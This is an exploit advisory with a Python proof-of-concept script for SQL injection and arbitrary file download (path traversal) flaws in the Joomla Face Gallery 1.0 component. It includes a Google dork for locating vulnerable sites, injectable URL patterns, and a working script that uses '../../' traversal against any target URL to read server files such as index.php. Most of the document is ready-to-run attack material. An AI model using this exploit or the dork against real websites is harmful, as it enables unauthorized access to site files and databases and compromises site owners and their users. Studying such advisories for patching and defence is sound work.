###################### # Exploit Title : Joomla Face Gallery 1.0 Multiple Vulnerabilities # Exploit Author : Claudio Viviani # Vendor Homepage : https://www.apptha.com # Software Link : https://www.apptha.com/downloadable/download/sample/sample_id/150 # Dork Google: inurl:option=com_facegallery # Date : 2014-09-17 # Tested on : Windows 7 / Mozilla Firefox # Linux / Mozilla Firefox # Info: # Joomla Face Gallery 1.0 suffers from SQL injection and Arbitrary file dowwnload vulnerabilities # PoC Exploit: # # http://localhost/index.php?option=com_facegallery&view=images&aid=[SQLi]&lang=en # http://localhost/index.php?option=com_facegallery&task=imageDownload&img_name=[../../filename] # "aid" and img_name variables are not sanitized. ###################### # Arbitrary file download exploit: #!/usr/bin/env python # http connection import urllib, urllib2 # Args management import optparse # Error managemen import sys banner = """ __ __ _______ |__.-----.-----.--------| .---.-. | _ .---.-.----.-----. | | _ | _ | | | _ | |. 1___| _ | __| -__| | |_____|_____|__|__|__|__|___._| |. __) |___._|____|_____| |___| |: | |::.| `---' _______ __ __ _____ _______ | _ .---.-| | .-----.----.--.--. | _ | | _ | |. |___| _ | | | -__| _| | | |.| |__|. | | |. | |___._|__|__|_____|__| |___ | `-|. |__|. | | |: 1 | |_____| |: | |: 1 | |::.. . | |::.| |::.. . | `-------' `---' `-------' j00ml4 F4c3 G4ll3ry 4rb1tr4ry F1l3 D0wnl04d Written by: Claudio Viviani http://www.homelab.it info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww """ # Check url def checkurl(url): if url[:8] != "https://" and url[:7] != "http://": print('[X] You must insert http:// or https:// procotol') sys.exit(1) else: return url def connection(url,pathtrav): try: response = urllib2.urlopen(url+'/index.php?option=com_facegallery&task=imageDownload&img_name='+pathtrav+'index.php') content = response.read() if content != "": print '[!] VULNERABLE' print '[+] '+url+'/index.php?option=com_facegallery&task=imageDownload&img_name='+pathtrav+'index.php' else: print '[X] Not Vulnerable' except urllib2.HTTPError: print '[X] HTTP Error' except urllib2.URLError: print '[X] Connection Error' commandList = optparse.OptionParser('usage: %prog -t URL') commandList.add_option('-t', '--target', action="store", help="Insert TARGET URL: http[s]://www.victim.com[:PORT]", ) options, remainder = commandList.parse_args() # Check args if not options.target: print(banner) commandList.print_help() sys.exit(1) print(banner) url = checkurl(options.target) pathtrav = "../../" connection(url,pathtrav)